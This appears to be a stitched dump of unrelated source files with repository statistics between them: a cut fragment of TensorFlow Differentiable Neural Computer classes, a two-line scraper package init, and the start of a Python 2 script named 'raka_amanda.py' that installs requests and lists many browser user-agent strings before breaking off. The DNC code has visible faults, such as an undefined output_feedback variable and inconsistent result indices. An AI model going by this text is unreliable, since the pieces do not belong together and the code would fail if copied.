pack_into_tensor(final_results[16], axis=1), } def get_outputs(self): """ returns the graph nodes for the output and memory view Returns: Tuple outputs: Tensor (batch_size, time_steps, output_size) memory_view: dict """ return self.packed_output, self.packed_memory_view def get_memoory_states(self): """ returns 'memory_matrix','usage_vector','precedence_vector','link_matrix', 'write_weighting','read_weightings','read_vectors' Returns: Tuple packed_memory_matrixs: dict """ return self.packed_memory_matrixs def save(self, session, ckpts_dir, name): """ saves the current values of the model's parameters to a checkpoint Parameters: ---------- session: tf.Session the tensorflow session to save ckpts_dir: string the path to the checkpoints directories name: string the name of the checkpoint subdirectory """ checkpoint_dir = os.path.join(ckpts_dir, name) if not os.path.exists(checkpoint_dir): os.makedirs(checkpoint_dir) tf.train.Saver(tf.trainable_variables()).save(session, os.path.join(checkpoint_dir, 'model.ckpt')) def restore(self, session, ckpts_dir, name): """ session: tf.Session the tensorflow session to restore into ckpts_dir: string the path to the checkpoints directories name: string the name of the checkpoint subdirectory """ tf.train.Saver(tf.trainable_variables()).restore(session, os.path.join(ckpts_dir, name, 'model.ckpt')) class DNCAuto(DNC): def _step_op(self, step, memory_state, controller_state=None): """ performs a step operation on the input step data Parameters: ---------- step: Tensor (batch_size, input_size) memory_state: Tuple a tuple of current memory parameters controller_state: Tuple the state of the controller if it's recurrent Returns: Tuple output: Tensor (batch_size, output_size) memory_view: dict """ last_read_vectors = memory_state[6] pre_output, interface, nn_state = None, None, None if self.controller.has_recurrent_nn: pre_output, interface, nn_state, decoder_out = self.controller.process_input(step, last_read_vectors, controller_state) else: pre_output, interface, decoder_out = self.controller.process_input(step, last_read_vectors) usage_vector, write_weighting, memory_matrix, link_matrix, precedence_vector = self.memory.write( memory_state[0], memory_state[1], memory_state[5], memory_state[4], memory_state[2], memory_state[3], interface['write_key'], interface['write_strength'], interface['free_gates'], interface['allocation_gate'], interface['write_gate'], interface['write_vector'], interface['erase_vector'] ) if isinstance(self.memory, SharpMemory) or isinstance(self.memory, KMemory): read_weightings, read_vectors = self.memory.read( memory_matrix, memory_state[5], interface['read_keys'], interface['read_strengths'], link_matrix, interface['read_modes'], memory_state[1], ) else: read_weightings, read_vectors = self.memory.read( memory_matrix, memory_state[5], interface['read_keys'], interface['read_strengths'], link_matrix, interface['read_modes'], ) return [ # report new memory state to be updated outside the condition branch memory_matrix, usage_vector, precedence_vector, link_matrix, write_weighting, read_weightings, read_vectors, self.controller.final_output(pre_output, read_vectors), interface['free_gates'], interface['allocation_gate'], interface['write_gate'], # report new state of RNN if exists nn_state if nn_state is not None else tf.zeros(1), decoder_out ] def _loop_body(self, time, memory_state, outputs, decoder_outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, controller_state, *memory_state_record): """ the body of the DNC sequence processing loop Parameters: ---------- time: Tensor outputs: TensorArray memory_state: Tuple free_gates: TensorArray allocation_gates: TensorArray write_gates: TensorArray read_weightings: TensorArray, write_weightings: TensorArray, usage_vectors: TensorArray, controller_state: Tuple Returns: Tuple containing all updated arguments """ step_input = self.unpacked_input_data.read(time) if self.feedback: if time == 0 and self.testing: step_input = tf.slice(step_input, [0, 0], [self.batch_size, self.input_size - self.output_size]) step_input = tf.concat([step_input, tf.zeros([self.batch_size, self.output_size])], 1) elif self.testing: step_input = tf.slice(step_input, [0, 0], [self.batch_size, self.input_size - self.output_size]) step_input = tf.concat([step_input, self.output_t], 1) output_list = self._step_op(step_input, memory_state, controller_state) # update memory parameters new_controller_state = tf.zeros(1) new_memory_state = tuple(output_list[0:7]) new_controller_state = output_list[11] outputs = outputs.write(time, output_list[7]) self.output_t = output_list[7] decoder_outputs = decoder_outputs.write(time, output_list[12]) # collecting memory view for the current step free_gates = free_gates.write(time, output_list[8]) allocation_gates = allocation_gates.write(time, output_list[9]) write_gates = write_gates.write(time, output_list[10]) read_weightings = read_weightings.write(time, output_list[5]) write_weightings = write_weightings.write(time, output_list[4]) usage_vectors = usage_vectors.write(time, output_list[1]) memory_state_list = list(memory_state_record) if self.testing: memory_state_list[0] = memory_state_record[0].write(time, new_memory_state[0]) memory_state_list[1] = memory_state_record[1].write(time, new_memory_state[1]) memory_state_list[2] = memory_state_record[2].write(time, new_memory_state[2]) memory_state_list[3] = memory_state_record[3].write(time, new_memory_state[3]) memory_state_list[4] = memory_state_record[4].write(time, new_memory_state[4]) memory_state_list[5] = memory_state_record[5].write(time, new_memory_state[5]) memory_state_list[6] = memory_state_record[6].write(time, new_memory_state[6]) return ( time + 1, new_memory_state, outputs, decoder_outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, new_controller_state, *memory_state_list ) def build_graph(self): """ builds the computational graph that performs a step-by-step evaluation of the input data batches """ self.unpacked_input_data = unpack_into_tensorarray(self.input_data, 1, self.sequence_length) outputs = tf.TensorArray(tf.float32, self.sequence_length) decoder_outputs = tf.TensorArray(tf.float32, self.sequence_length) usage_vectors = tf.TensorArray(tf.float32, self.sequence_length) free_gates = tf.TensorArray(tf.float32, self.sequence_length) allocation_gates = tf.TensorArray(tf.float32, self.sequence_length) write_gates = tf.TensorArray(tf.float32, self.sequence_length) read_weightings = tf.TensorArray(tf.float32, self.sequence_length) write_weightings = tf.TensorArray(tf.float32, self.sequence_length) controller_state = self.controller.get_state() if self.controller.has_recurrent_nn else (tf.zeros(1), tf.zeros(1)) memory_state = self.memory.init_memory() memory_state_record = [ tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), ] # This 2 line of code will cause problem if controller have more than 1 layer. # if not isinstance(controller_state, LSTMStateTuple): # controller_state = LSTMStateTuple(controller_state[0], controller_state[1]) final_results = None time = tf.constant(0, dtype=tf.int32) final_results = tf.while_loop( cond=lambda time, *_: time < self.sequence_length, body=self._loop_body, loop_vars=( time, memory_state, outputs, decoder_outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, controller_state, *memory_state_record, ), parallel_iterations=64, swap_memory=True ) dependencies = [] if self.controller.has_recurrent_nn: dependencies.append(self.controller.update_state(final_results[9])) # result[9] is new_controller_state with tf.control_dependencies(dependencies): self.packed_output = pack_into_tensor(final_results[2], axis=1) self.packed_decoder_output = pack_into_tensor(final_results[3], axis=1) self.packed_memory_view = { 'free_gates': pack_into_tensor(final_results[4], axis=1), 'allocation_gates': pack_into_tensor(final_results[5], axis=1), 'write_gates': pack_into_tensor(final_results[6], axis=1), 'read_weightings': pack_into_tensor(final_results[7], axis=1), 'write_weightings': pack_into_tensor(final_results[8], axis=1), 'usage_vectors': pack_into_tensor(final_results[9], axis=1) } if self.testing: self.packed_memory_matrixs = { 'memory_matrix': pack_into_tensor(final_results[11], axis=1), 'usage_vector': pack_into_tensor(final_results[12], axis=1), 'precedence_vector': pack_into_tensor(final_results[13], axis=1), 'link_matrix': pack_into_tensor(final_results[14], axis=1), 'write_weighting': pack_into_tensor(final_results[15], axis=1), 'read_weightings': pack_into_tensor(final_results[16], axis=1), 'read_vectors': pack_into_tensor(final_results[17], axis=1), } def get_outputs(self): """ Returns: Tuple outputs: Tensor (batch_size, time_steps, output_size) memory_view: dict """ return self.packed_output, self.packed_memory_view def get_decoder_output(self): return self.packed_decoder_output class DNCPostControl(DNC): def __init__(self, controller_class, post_controller_class, input_size, output_size, max_sequence_length, memory_words_num=256, memory_word_size=64, memory_read_heads=4, batch_size=1, testing=False): self.post_control = post_controller_class( memory_word_size * memory_read_heads + batch_size * output_size, output_size, batch_size ) self.testing = testing self.feedback = output_feedback self.output_t = tf.zeros([batch_size, output_size]) self.input_size = input_size + output_size if output_feedback else input_size self.output_size = output_size self.max_sequence_length = max_sequence_length self.words_num = memory_words_num self.word_size = memory_word_size self.read_heads = memory_read_heads self.batch_size = batch_size self.memory = Memory(self.words_num, self.word_size, self.read_heads, self.batch_size) self.controller = controller_class(self.input_size, self.input_size, self.read_heads, self.word_size, self.batch_size) # input data placeholders self.input_data = tf.placeholder(tf.float32, [batch_size, None, input_size], name='input') self.target_output = tf.placeholder(tf.float32, [batch_size, None, output_size], name='targets') self.target_output_id = tf.placeholder(tf.int32, [batch_size, None], name='targets_id') self.sequence_length = tf.placeholder(tf.int32, name='sequence_length') self.build_graph() def _step_op(self, step, memory_state, controller_state=None, post_controller_state=None): last_read_vectors = memory_state[6] pre_output, interface, nn_state, post_nn_state = None, None, None, None if self.controller.has_recurrent_nn: pre_output, interface, nn_state = self.controller.process_input(step, last_read_vectors, controller_state) else: pre_output, interface = self.controller.process_input(step, last_read_vectors) usage_vector, write_weighting, memory_matrix, link_matrix, precedence_vector = self.memory.write( memory_state[0], memory_state[1], memory_state[5], memory_state[4], memory_state[2], memory_state[3], interface['write_key'], interface['write_strength'], interface['free_gates'], interface['allocation_gate'], interface['write_gate'], interface['write_vector'], interface['erase_vector'] ) read_weightings, read_vectors = self.memory.read( memory_matrix, memory_state[5], interface['read_keys'], interface['read_strengths'], link_matrix, interface['read_modes'], ) final_out, post_nn_state = self.post_control.network_op( self.controller.final_output(pre_output, read_vectors), post_controller_state ) return [ # report new memory state to be updated outside the condition branch memory_matrix, usage_vector, precedence_vector, link_matrix, write_weighting, read_weightings, read_vectors, final_out, interface['free_gates'], interface['allocation_gate'], interface['write_gate'], # report new state of RNN if exists nn_state if nn_state is not None else tf.zeros(1), post_nn_state if nn_state is not None else tf.zeros(1), ] def _loop_body(self, time, memory_state, outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, controller_state, post_controller_state, *memory_state_record): step_input = self.unpacked_input_data.read(time) if self.feedback: if time == 0 and self.testing: step_input = tf.slice(step_input, [0, 0], [self.batch_size, self.input_size - self.output_size]) step_input = tf.concat([step_input, tf.zeros([self.batch_size, self.output_size])], 1) elif self.testing: step_input = tf.slice(step_input, [0, 0], [self.batch_size, self.input_size - self.output_size]) step_input = tf.concat([step_input, self.output_t], 1) output_list = self._step_op(step_input, memory_state, controller_state, post_controller_state) # update memory parameters new_controller_state = tf.zeros(1) new_post_controller_state = tf.zeros(1) new_memory_state = tuple(output_list[0:7]) new_controller_state = output_list[11] new_post_controller_state = output_list[12] outputs = outputs.write(time, output_list[7]) self.output_t = output_list[7] # collecting memory view for the current step free_gates = free_gates.write(time, output_list[8]) allocation_gates = allocation_gates.write(time, output_list[9]) write_gates = write_gates.write(time, output_list[10]) read_weightings = read_weightings.write(time, output_list[5]) write_weightings = write_weightings.write(time, output_list[4]) usage_vectors = usage_vectors.write(time, output_list[1]) memory_state_list = list(memory_state_record) if self.testing: memory_state_list[0] = memory_state_record[0].write(time, new_memory_state[0]) memory_state_list[1] = memory_state_record[1].write(time, new_memory_state[1]) memory_state_list[2] = memory_state_record[2].write(time, new_memory_state[2]) memory_state_list[3] = memory_state_record[3].write(time, new_memory_state[3]) memory_state_list[4] = memory_state_record[4].write(time, new_memory_state[4]) memory_state_list[5] = memory_state_record[5].write(time, new_memory_state[5]) memory_state_list[6] = memory_state_record[6].write(time, new_memory_state[6]) return ( time + 1, new_memory_state, outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, new_controller_state, new_post_controller_state, *memory_state_list ) def build_graph(self): """ builds the computational graph that performs a step-by-step evaluation of the input data batches """ self.unpacked_input_data = unpack_into_tensorarray(self.input_data, 1, self.sequence_length) outputs = tf.TensorArray(tf.float32, self.sequence_length) usage_vectors = tf.TensorArray(tf.float32, self.sequence_length) free_gates = tf.TensorArray(tf.float32, self.sequence_length) allocation_gates = tf.TensorArray(tf.float32, self.sequence_length) write_gates = tf.TensorArray(tf.float32, self.sequence_length) read_weightings = tf.TensorArray(tf.float32, self.sequence_length) write_weightings = tf.TensorArray(tf.float32, self.sequence_length) controller_state = self.controller.get_state() if self.controller.has_recurrent_nn else (tf.zeros(1), tf.zeros(1)) post_controller_state = self.post_control.get_state() memory_state = self.memory.init_memory() memory_state_record = [ tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), ] # if not isinstance(controller_state, LSTMStateTuple): # controller_state = LSTMStateTuple(controller_state[0], controller_state[1]) # if not isinstance(post_controller_state, LSTMStateTuple): # post_controller_state = LSTMStateTuple(post_controller_state[0], post_controller_state[1]) final_results = None time = tf.constant(0, dtype=tf.int32) final_results = tf.while_loop( cond=lambda time, *_: time < self.sequence_length, body=self._loop_body, loop_vars=( time, memory_state, outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, controller_state, post_controller_state, *memory_state_record, ), parallel_iterations=32, swap_memory=True ) dependencies = [] if self.controller.has_recurrent_nn: dependencies.append(self.controller.update_state(final_results[9])) # result[9] is new_controller_state dependencies.append(self.post_control.update_state(final_results[10])) # result[9] is new_controller_state with tf.control_dependencies(dependencies): self.packed_output = pack_into_tensor(final_results[2], axis=1) self.packed_memory_view = { 'free_gates': pack_into_tensor(final_results[3], axis=1), 'allocation_gates': pack_into_tensor(final_results[4], axis=1), 'write_gates': pack_into_tensor(final_results[5], axis=1), 'read_weightings': pack_into_tensor(final_results[6], axis=1), 'write_weightings': pack_into_tensor(final_results[7], axis=1), 'usage_vectors': pack_into_tensor(final_results[8], axis=1) } if self.testing: self.packed_memory_matrixs = { 'memory_matrix': pack_into_tensor(final_results[11], axis=1), 'usage_vector': pack_into_tensor(final_results[12], axis=1), 'precedence_vector': pack_into_tensor(final_results[13], axis=1), 'link_matrix': pack_into_tensor(final_results[14], axis=1), 'write_weighting': pack_into_tensor(final_results[15], axis=1), 'read_weightings': pack_into_tensor(final_results[16], axis=1), 'read_vectors': pack_into_tensor(final_results[17], axis=1), } class DNCDirectPostControl(DNCPostControl): def __init__(self, controller_class, post_controller_class, input_size, output_size, max_sequence_length, memory_words_num=256, memory_word_size=64, memory_read_heads=4, batch_size=1, testing=False): self.post_control = post_controller_class( input_size + batch_size * input_size, output_size, cell_num=512 ) self.testing = testing self.input_size = input_size self.output_size = output_size self.max_sequence_length = max_sequence_length self.words_num = memory_words_num self.word_size = memory_word_size self.read_heads = memory_read_heads self.batch_size = batch_size self.memory = Memory(self.words_num, self.word_size, self.read_heads, self.batch_size) self.controller = controller_class(self.input_size, self.post_control.cell_num, self.read_heads, self.word_size, self.batch_size) # input data placeholders self.input_data = tf.placeholder(tf.float32, [batch_size, None, input_size], name='input') self.target_output = tf.placeholder(tf.float32, [batch_size, None, output_size], name='targets') self.target_output_id = tf.placeholder(tf.int32, [batch_size, None], name='targets_id') self.sequence_length = tf.placeholder(tf.int32, name='sequence_length') self.build_graph() def _step_op(self, step_input, memory_state, controller_state=None, post_controller_state=None): last_read_vectors = memory_state[6] pre_output, interface, nn_state, post_nn_state = None, None, None, None if self.controller.has_recurrent_nn: pre_output, interface, nn_state = self.controller.process_input(step_input, last_read_vectors, controller_state) else: pre_output, interface = self.controller.process_input(step_input, last_read_vectors) usage_vector, write_weighting, memory_matrix, link_matrix, precedence_vector = self.memory.write( memory_state[0], memory_state[1], memory_state[5], memory_state[4], memory_state[2], memory_state[3], interface['write_key'], interface['write_strength'], interface['free_gates'], interface['allocation_gate'], interface['write_gate'], interface['write_vector'], interface['erase_vector'] ) read_weightings, read_vectors = self.memory.read( memory_matrix, memory_state[5], interface['read_keys'], interface['read_strengths'], link_matrix, interface['read_modes'], ) final_out, post_nn_state = self.post_control.network_op( self.controller.final_output(pre_output, read_vectors), step_input, post_controller_state ) return [ # report new memory state to be updated outside the condition branch memory_matrix, usage_vector, precedence_vector, link_matrix, write_weighting, read_weightings, read_vectors, final_out, interface['free_gates'], interface['allocation_gate'], interface['write_gate'], # report new state of RNN if exists nn_state if nn_state is not None else tf.zeros(1), post_nn_state if nn_state is not None else tf.zeros(1), ] class DNCDuo(DNCPostControl): def __init__(self, controller_class, input_size, output_size, max_sequence_length, memory_words_num=256, memory_word_size=64, memory_read_heads=4, batch_size=1, testing=False, output_feedback=False): self.testing = testing self.feedback = output_feedback self.output_t = tf.zeros([batch_size, output_size]) self.input_size = input_size + output_size if output_feedback else input_size self.output_size = output_size self.max_sequence_length = max_sequence_length self.words_num = memory_words_num self.word_size = memory_word_size self.read_heads = memory_read_heads self.batch_size = batch_size self.memory = KMemory(self.words_num, self.word_size, self.read_heads, self.batch_size) self.packed_memory_matrixs = {} self.controller = controller_class(self.input_size, self.output_size, self.read_heads, self.word_size, self.batch_size) # input data placeholders self.input_data = tf.placeholder(tf.float32, [batch_size, None, self.input_size], name='input') self.target_output = tf.placeholder(tf.float32, [batch_size, None, self.output_size], name='targets') self.target_output_id = tf.placeholder(tf.int32, [batch_size, None], name='targets_id') self.sequence_length = tf.placeholder(tf.int32, name='sequence_length') self.build_graph() def _step_op(self, step, memory_state, controller_state_mem=None, controller_state_pred=None): last_read_vectors = memory_state[6] pre_output, interface, nn_state_mem, nn_state_pred = None, None, None, None if self.controller.has_recurrent_nn: pre_output, interface, nn_state_mem, nn_state_pred = self.controller.process_input(step, last_read_vectors, controller_state_mem, controller_state_pred) else: pre_output, interface = self.controller.process_input(step, last_read_vectors) usage_vector, write_weighting, memory_matrix, link_matrix, precedence_vector = self.memory.write( memory_state[0], memory_state[1], memory_state[5], memory_state[4], memory_state[2], memory_state[3], interface['write_key'], interface['write_strength'], interface['free_gates'], interface['allocation_gate'], interface['write_gate'], interface['write_vector'], interface['erase_vector'] ) if type(self.memory) is SharpMemory or isinstance(self.memory, KMemory): read_weightings, read_vectors = self.memory.read( memory_matrix, memory_state[5], interface['read_keys'], interface['read_strengths'], link_matrix, interface['read_modes'], memory_state[1], ) else: read_weightings, read_vectors = self.memory.read( memory_matrix, memory_state[5], interface['read_keys'], interface['read_strengths'], link_matrix, interface['read_modes'], ) final_out = self.controller.final_output(pre_output, read_vectors) return [ # report new memory state to be updated outside the condition branch memory_matrix, usage_vector, precedence_vector, link_matrix, write_weighting, read_weightings, read_vectors, final_out, interface['free_gates'], interface['allocation_gate'], interface['write_gate'], # report new state of RNN if exists nn_state_mem if nn_state_mem is not None else tf.zeros(1), nn_state_pred if nn_state_pred is not None else tf.zeros(1), ] def build_graph(self): """ builds the computational graph that performs a step-by-step evaluation of the input data batches """ self.unpacked_input_data = unpack_into_tensorarray(self.input_data, 1, self.sequence_length) outputs = tf.TensorArray(tf.float32, self.sequence_length) usage_vectors = tf.TensorArray(tf.float32, self.sequence_length) free_gates = tf.TensorArray(tf.float32, self.sequence_length) allocation_gates = tf.TensorArray(tf.float32, self.sequence_length) write_gates = tf.TensorArray(tf.float32, self.sequence_length) read_weightings = tf.TensorArray(tf.float32, self.sequence_length) write_weightings = tf.TensorArray(tf.float32, self.sequence_length) controller_state_mem, controller_state_pred = self.controller.get_state() if self.controller.has_recurrent_nn else ((tf.zeros(1), tf.zeros(1)), (tf.zeros(1), tf.zeros(1))) # controller_state_pred = self.post_control.get_state() memory_state = self.memory.init_memory() memory_state_record = [ tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), tf.TensorArray(tf.float32, self.sequence_length), ] final_results = None time = tf.constant(0, dtype=tf.int32) final_results = tf.while_loop( cond=lambda time, *_: time < self.sequence_length, body=self._loop_body, loop_vars=( time, memory_state, outputs, free_gates, allocation_gates, write_gates, read_weightings, write_weightings, usage_vectors, controller_state_mem, controller_state_pred, *memory_state_record, ), parallel_iterations=32, swap_memory=True ) dependencies = [] if self.controller.has_recurrent_nn: dependencies.append(self.controller.update_state(final_results[9])) # result[9] is new_controller_state # dependencies.append(self.post_control.update_state(final_results[10])) # result[9] is new_controller_state with tf.control_dependencies(dependencies): self.packed_output = pack_into_tensor(final_results[2], axis=1) self.packed_memory_view = { 'free_gates': pack_into_tensor(final_results[3], axis=1), 'allocation_gates': pack_into_tensor(final_results[4], axis=1), 'write_gates': pack_into_tensor(final_results[5], axis=1), 'read_weightings': pack_into_tensor(final_results[6], axis=1), 'write_weightings': pack_into_tensor(final_results[7], axis=1), 'usage_vectors': pack_into_tensor(final_results[8], axis=1) } if self.testing: self.packed_memory_matrixs = { 'memory_matrix': pack_into_tensor(final_results[11], axis=1), 'usage_vector': pack_into_tensor(final_results[12], axis=1), 'precedence_vector': pack_into_tensor(final_results[13], axis=1), 'link_matrix': pack_into_tensor(final_results[14], axis=1), 'write_weighting': pack_into_tensor(final_results[15], axis=1), 'read_weightings': pack_into_tensor(final_results[16], axis=1), 'read_vectors': pack_into_tensor(final_results[17], axis=1), }
43.03857
179
0.640087
5,467
45,750
5.044449
0.048473
0.065016
0.045036
0.045471
0.943687
0.938393
0.929219
0.919537
0.915077
0.895351
0
0.017159
0.268809
45,750
1,062
180
43.079096
0.807246
0.118339
0
0.831921
0
0
0.043844
0
0
0
0
0
0
1
0.031073
false
0
0.007062
0.001412
0.062147
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
6c6070cc86b2d00ea345bdccca512af14c1ea9c0
38
py
Python
SubredditScraper/__init__.py
tomhennessey/Subreddit-Scrape
224c76fb179b6171634e7dd7739f73015c206d62
[ "MIT" ]
null
null
null
SubredditScraper/__init__.py
tomhennessey/Subreddit-Scrape
224c76fb179b6171634e7dd7739f73015c206d62
[ "MIT" ]
null
null
null
SubredditScraper/__init__.py
tomhennessey/Subreddit-Scrape
224c76fb179b6171634e7dd7739f73015c206d62
[ "MIT" ]
null
null
null
from . import scrape from . import db
12.666667
20
0.736842
6
38
4.666667
0.666667
0.714286
0
0
0
0
0
0
0
0
0
0
0.210526
38
2
21
19
0.933333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
66dcbd9a12ccee3cf1ebba41dd3c2a6c91f030c7
65,807
py
Python
raka_amanda.py
Garangan-Z/USERT
0643f87f9141ac40b9a9c970b608ef566db441be
[ "Apache-2.0" ]
null
null
null
raka_amanda.py
Garangan-Z/USERT
0643f87f9141ac40b9a9c970b608ef566db441be
[ "Apache-2.0" ]
null
null
null
raka_amanda.py
Garangan-Z/USERT
0643f87f9141ac40b9a9c970b608ef566db441be
[ "Apache-2.0" ]
null
null
null
#coding=utf-8 #!/usr/bin/python2 #coding=utf-8 try: import os,sys,time,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib,requests,uuid,string from multiprocessing.pool import ThreadPool from requests.exceptions import ConnectionError except ImportError: os.system("pip2 install requests") agents = [ "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; .NET4.0C; .NET4.0E; GWX:QUALIFIED)", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0.2 Waterfox/40.0.2", "Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-N900T Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 4.4.2; SM-T217S Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MALNJS; rv:11.0) like Gecko", "Mozilla/5.0 (Linux; Android 4.4.2; RCT6203W46 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", "Mozilla/5.0 (Android; Tablet; rv:34.0) Gecko/34.0 Firefox/34.0", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; TNJB; 1ButtonTaskbar)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)", "Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36", "Mozilla/5.0 (Linux; Android 4.0.4; BNTV600 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36", "Mozilla/5.0 (Linux; Android 4.4.2; SM-T237P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36", "Mozilla/5.0 (Linux; Android 4.4.2; SM-T530NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36", "Mozilla/5.0 (Linux; Android 5.0.1; SCH-I545 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-N900T Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-G920P Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-G920T Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-N910P Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36", "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LG-V410/V41010d Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Safari/537.36", "Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFARWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36", "Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFSAWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0) Gecko/20100101 Firefox/36.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2503.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) 